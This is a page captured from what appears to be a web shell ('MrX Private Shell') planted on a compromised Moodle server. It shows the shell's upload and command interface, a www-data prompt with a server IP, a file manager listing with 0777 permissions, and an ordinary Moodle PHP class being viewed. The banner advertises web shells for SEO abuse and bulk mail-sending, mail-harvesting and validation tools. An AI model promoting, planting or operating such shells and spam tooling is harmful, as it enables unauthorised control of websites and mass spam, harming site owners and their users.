__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_courseformat;

use action_menu;
use cm_info;
use core_courseformat\base as course_format;
use core_courseformat\formatactions;
use core_courseformat\output\local\content\section\controlmenu;
use core_courseformat\stateupdates;
use renderer_base;
use section_info;
use stdClass;

/**
 * Class sectiondelegatemodule
 *
 * @package    core_courseformat
 * @copyright  2024 Mikel Martín <mikel@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
abstract class sectiondelegatemodule extends sectiondelegate {
    /** @var section_info $sectioninfo The section_info object of the delegated section module */

    /** @var cm_info|null $cm The cm_info object of the delegated section module */
    private $cm = null;

    /** @var stdClass|null $course The course object of the delegated section module */
    private $course = null;

    /**
     * Constructor.
     * @param section_info $sectioninfo
     */
    public function __construct(
        protected section_info $sectioninfo
    ) {
        parent::__construct($sectioninfo);

        try {
            // Disabled or missing plugins can throw exceptions.
            [$this->course, $this->cm] = get_course_and_cm_from_instance(
                $this->sectioninfo->itemid,
                $this->get_module_name(),
                $this->sectioninfo->course,
            );
        } catch (\Exception $e) {
            $this->cm = null;
            $this->course = null;
        }
    }

    /**
     * Check if the delegated component is enabled.
     *
     * @return bool
     */
    public function is_enabled(): bool {
        return $this->cm !== null;
    }

    /**
     * Get the delegated section id controlled by a specific cm.
     *
     * This method is used when reverse search is needed bu we cannot access the database.
     * This happens mostly on backup and restore. Do NOT use for normal operations.
     *
     * @param stdClass|cm_info $cm a course module compatible data structure.
     * @return int the section id.
     */
    public static function delegated_section_id(stdClass|cm_info $cm): int {
        global $DB;
        return $DB->get_field(
            'course_sections',
            'id',
            [
                'course' => $cm->course,
                'component' => explode('\\', static::class)[0],
                'itemid' => $cm->instance,
            ],
            MUST_EXIST
        );
    }

    /**
     * Get the parent section of the current delegated section.
     *
     * @return section_info|null
     */
    public function get_parent_section(): ?section_info {
        return $this->cm->get_section_info();
    }

    /**
     * Get the course object.
     *
     * @return cm_info
     */
    public function get_cm(): cm_info {
        return $this->cm;
    }

    /**
     * Get the course object.
     *
     * @return stdClass
     */
    public function get_course(): stdClass {
        return $this->course;
    }

    /**
     * Get the module name from the section component frankenstyle name.
     *
     * @return string
     */
    private function get_module_name(): string {
        return \core_component::normalize_component($this->sectioninfo->component)[1];
    }

    /**
     * Sync the section renaming with the activity name.
     *
     * @param section_info $section
     * @param string|null $newname
     * @return string|null
     */
    public function preprocess_section_name(section_info $section, ?string $newname): ?string {
        $cm = get_coursemodule_from_instance($this->get_module_name(), $section->itemid);
        if (!$cm) {
            return $newname;
        }
        if (empty($newname) || $newname === $cm->name) {
            return $cm->name;
        }
        formatactions::cm($section->course)->rename($cm->id, $newname);
        return $newname;
    }

    /**
     * Allow delegate plugin to modify the available section menu.
     *
     * @param course_format $format The course format instance.
     * @param controlmenu $controlmenu The control menu instance.
     * @param renderer_base $output The renderer instance.
     * @return action_menu|null The new action menu with the list of edit control items or null if no action menu is available.
     */
    public function get_section_action_menu(
        course_format $format,
        controlmenu $controlmenu,
        renderer_base $output,
    ): ?action_menu {
        $controlmenuclass = $format->get_output_classname('content\\cm\\delegatedcontrolmenu');
        $controlmenu = new $controlmenuclass(
            $format,
            $this->sectioninfo,
            $this->cm,
        );
        return $controlmenu->get_action_menu($output);
    }

    /**
     * Add extra state updates when put or create a section.
     *
     * @param section_info $section the affected section.
     * @param stateupdates $updates the state updates object to notify the UI.
     */
    public function put_section_state_extra_updates(section_info $section, stateupdates $updates): void {
        $cm = get_coursemodule_from_instance($this->get_module_name(), $section->itemid);
        $updates->add_cm_put($cm->id);
    }

    public function section_updated(stdClass $sectionrecord): void {
        global $DB;

        $cmrecord = [];
        if (isset($sectionrecord->availability) && $sectionrecord->availability !== $this->cm->availability) {
            $cmrecord['availability'] = $sectionrecord->availability;
        }

        if (isset($sectionrecord->visible) && $sectionrecord->visible !== $this->cm->visible) {
            $cmrecord['visible'] = $sectionrecord->visible;
            $cmrecord['visibleold'] = $sectionrecord->visible;
        }

        if (empty($cmrecord)) {
            return;
        }

        $cmrecord['id'] = $this->cm->id;
        $DB->update_record('course_modules', (object)$cmrecord);
    }
}

Filemanager

Name Type Size Permission Actions
external Folder 0777
hook Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
base.php File 82.64 KB 0777
formatactions.php File 5.44 KB 0777
hook_listener.php File 1.92 KB 0777
sectiondelegate.php File 5.17 KB 0777
sectiondelegatemodule.php File 6.45 KB 0777
stateactions.php File 42.99 KB 0777
stateupdates.php File 7.45 KB 0777
Filemanager